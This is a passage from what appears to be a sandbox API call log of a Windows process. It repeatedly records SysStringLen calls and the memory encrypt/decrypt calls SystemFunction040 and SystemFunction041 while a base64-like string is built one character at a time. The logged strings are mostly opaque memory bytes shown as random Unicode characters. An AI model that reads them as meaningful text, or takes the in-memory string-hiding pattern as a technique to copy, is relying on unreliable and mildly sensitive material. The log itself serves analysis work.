(param_1="螲䂪祍㤏띊ꑤ趆") returned 0x8 [0234.248] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆") returned 0x10 [0234.248] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.248] SysStringLen (param_1="suUZS/Vib砿ฤ弱닠ĵ휗䂽") returned 0x10 [0234.248] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.248] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆Ἴ닾롋뱦\觘蔓⋃) returned 0x10 [0234.248] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆Ἴ닾롋뱦\觘蔓⋃) returned 0x10 [0234.248] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.248] SysStringLen (param_1="suUZS/Vib/ฤ弱닠ĵ휗䂽") returned 0x10 [0234.248] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.249] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆躧䡔뒌䔍馛誶糜㫷") returned 0x10 [0234.249] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆躧䡔뒌䔍馛誶糜㫷") returned 0x10 [0234.249] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.249] SysStringLen (param_1="suUZS/Vib/4弱닠ĵ휗䂽") returned 0x10 [0234.249] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.249] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆䉸磃啔쒭\쇜叕뱧≟) returned 0x10 [0234.249] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆䉸磃啔쒭\쇜叕뱧≟) returned 0x10 [0234.249] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.249] SysStringLen (param_1="suUZS/Vib/4N닠ĵ휗䂽") returned 0x10 [0234.249] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.250] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆쾴砬ἢߎꨳ↟檗") returned 0x10 [0234.250] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆쾴砬ἢߎꨳ↟檗") returned 0x10 [0234.250] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.250] SysStringLen (param_1="suUZS/Vib/4NDĵ휗䂽") returned 0x10 [0234.250] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.250] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆뽣쑊㖖ꒈ㡮₩誷纡") returned 0x10 [0234.250] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆뽣쑊㖖ꒈ㡮₩誷纡") returned 0x10 [0234.250] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.252] SysStringLen (param_1="suUZS/Vib/4NDJ휗䂽") returned 0x10 [0234.252] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.252] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆뽷ꍅ촊琲쁿Ԗ쌿霠") returned 0x10 [0234.252] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆뽷ꍅ촊琲쁿Ԗ쌿霠") returned 0x10 [0234.252] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.253] SysStringLen (param_1="suUZS/Vib/4NDJR䂽") returned 0x10 [0234.253] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.253] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆絛商蓨傪핬鑙") returned 0x10 [0234.253] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆絛商蓨傪핬鑙") returned 0x10 [0234.253] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.253] SysStringLen (param_1="suUZS/Vib/4NDJRT") returned 0x10 [0234.253] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0234.253] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋") returned 0x10 [0234.253] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋") returned 0x10 [0234.253] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋") returned 0x10 [0234.254] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋") returned 0x18 [0234.254] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.254] SysStringLen (param_1="suUZS/Vib/4NDJRTv 챤兛ए쎬峰") returned 0x18 [0234.254] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.254] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋褐ꕓꅙ≚됼躊䉢ᢎ") returned 0x18 [0234.254] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋褐ꕓꅙ≚됼躊䉢ᢎ") returned 0x18 [0234.254] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.254] SysStringLen (param_1="suUZS/Vib/4NDJRTvr챤兛ए쎬峰") returned 0x18 [0234.254] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.254] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋䁲ꞛ썰訬㴕⃺무亊") returned 0x18 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋䁲ꞛ썰訬㴕⃺무亊") returned 0x18 [0234.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.255] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9兛ए쎬峰") returned 0x18 [0234.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋蕨⢣滴垁頃冐") returned 0x18 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋蕨⢣滴垁頃冐") returned 0x18 [0234.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.255] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9R兛ए쎬峰") returned 0x18 [0234.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋䖁ᯋ煤훝晰㾿੕") returned 0x18 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋䖁ᯋ煤훝晰㾿੕") returned 0x18 [0234.255] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.255] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFए쎬峰") returned 0x18 [0234.255] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋ᧃ歒㤻ퟏ匚믍濈櫳") returned 0x18 [0234.255] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋ᧃ歒㤻ퟏ匚믍濈櫳") returned 0x18 [0234.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.256] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM쎬峰") returned 0x18 [0234.256] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.256] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋쎨ꕥ오絕諰礻焟") returned 0x18 [0234.256] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋쎨ꕥ오絕諰礻焟") returned 0x18 [0234.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.256] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3峰") returned 0x18 [0234.256] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.256] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋㚵擧넀\웘潲캋뉆≣) returned 0x18 [0234.256] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋㚵擧넀\웘潲캋뉆≣) returned 0x18 [0234.256] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.256] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3Z") returned 0x18 [0234.256] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0234.256] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ") returned 0x18 [0234.257] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ") returned 0x18 [0234.257] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ") returned 0x18 [0234.257] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ") returned 0x20 [0234.257] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.257] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ黸汨⡫἗䶨ﰙ") returned 0x20 [0234.257] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.257] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ⛡潮輫⹽䥎噞傃") returned 0x20 [0234.257] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ⛡潮輫⹽䥎噞傃") returned 0x20 [0234.257] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.258] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8汨⡫἗䶨ﰙ") returned 0x20 [0234.258] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.258] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ쉬둻泤넲늁뛣렩") returned 0x20 [0234.258] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ쉬둻泤넲늁뛣렩") returned 0x20 [0234.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.258] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8q⡫἗䶨ﰙ") returned 0x20 [0234.258] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.258] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢƨ燀⽉됻툂ᰕ") returned 0x20 [0234.258] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢƨ燀⽉됻툂ᰕ") returned 0x20 [0234.258] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.258] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qF἗䶨ﰙ") returned 0x20 [0234.258] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.258] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ晢娥䊎쭘飾ᢞ븚ꀉ") returned 0x20 [0234.258] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ晢娥䊎쭘飾ᢞ븚ꀉ") returned 0x20 [0234.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.259] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFu䶨ﰙ") returned 0x20 [0234.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.259] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ瞮Տ鎡ឱ瞵㣹") returned 0x20 [0234.259] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ瞮Տ鎡ឱ瞵㣹") returned 0x20 [0234.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.259] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI䶨ﰙ") returned 0x20 [0234.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.259] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᬀꓻ䧞ꃣİ龅") returned 0x20 [0234.259] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᬀꓻ䧞ꃣİ龅") returned 0x20 [0234.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.259] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6ﰙ") returned 0x20 [0234.259] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.259] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ⛯囷쩽诪佮쿒⌾") returned 0x20 [0234.259] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢ⛯囷쩽诪佮쿒⌾") returned 0x20 [0234.259] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.260] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a") returned 0x20 [0234.260] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0234.260] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶") returned 0x20 [0234.260] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶") returned 0x20 [0234.260] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶") returned 0x20 [0234.261] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶ɿ") returned 0x28 [0234.261] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.261] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5墥㣺묎췪톬㾭") returned 0x28 [0234.261] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.261] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶寞鍪х껁얌珐묜\⋚) returned 0x28 [0234.261] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶寞鍪х껁얌珐묜\⋚) returned 0x28 [0234.261] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.261] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5J墥㣺묎췪톬㾭") returned 0x28 [0234.261] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.261] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶ᔺ霧炜粋稅\ボ畇∂) returned 0x28 [0234.261] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶ᔺ霧炜粋稅\ボ畇∂) returned 0x28 [0234.261] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.261] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5Ju㣺묎췪톬㾭") returned 0x28 [0234.261] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.262] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶癰鐀喳藷畃㤊窸滍") returned 0x28 [0234.262] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶癰鐀喳藷畃㤊窸滍") returned 0x28 [0234.262] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.262] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5Juq묎췪톬㾭") returned 0x28 [0234.262] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.262] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶蜨ꨕᥒ㕣꽈睆氘") returned 0x28 [0234.262] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶蜨ꨕᥒ㕣꽈睆氘") returned 0x28 [0234.262] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.262] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqC췪톬㾭") returned 0x28 [0234.262] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.262] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶툋䃹瑂质혻殟╰࢕") returned 0x28 [0234.262] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶툋䃹瑂质혻殟╰࢕") returned 0x28 [0234.262] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.262] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCy톬㾭") returned 0x28 [0234.262] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶\鋘궥蒚〼㪸ꚵ풎≥) returned 0x28 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶\鋘궥蒚〼㪸ꚵ풎≥) returned 0x28 [0234.263] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.263] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCyv㾭") returned 0x28 [0234.263] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶芓\翟倩귨缁븺⋶) returned 0x28 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶芓\翟倩귨缁븺⋶) returned 0x28 [0234.263] SystemFunction041 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.263] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCyv+") returned 0x28 [0234.263] SystemFunction040 (in: Memory=0x5c9ac44, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9ac44) returned 0x0 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫") returned 0x28 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫") returned 0x28 [0234.263] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫") returned 0x28 [0234.264] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫") returned 0x30 [0234.264] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.264] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCyv+L爴甎П䑕⮑䋐") returned 0x30 [0234.264] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.264] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫륔颀麲莀晽뉫") returned 0x30 [0234.264] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫륔颀麲莀晽뉫") returned 0x30 [0234.264] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.264] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCyv+L2甎П䑕⮑䋐") returned 0x30 [0234.264] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.264] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫턻䎶嵵჈㶿Ἠᜒꭈ") returned 0x30 [0234.265] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫턻䎶嵵჈㶿Ἠᜒꭈ") returned 0x30 [0234.265] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.266] SysStringLen (param_1="suUZS/Vib/4NDJRTvr9RFM3ZZ8qFuI6a5JuqCyv+L2Q甎П䑕⮑䋐") returned 0x30 [0234.266] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.266] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫ᝁᔌ颣㶙ニ묬桭䌋") returned 0x30 [0234.266] SysStringLen (param_1="螲䂪祍㤏띊ꑤ趆甑ᢗ묍䩖\烚\냟釋꿨ꙭᬁ銥铸嗢㻛ㄢᑋᙜᑄ벑￶Ɱ䪡騉쿀述壢迫ᝁᔌ颣㶙ニ묬桭䌋") returned 0x30 [0234.266] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0234.266] SysStringLen 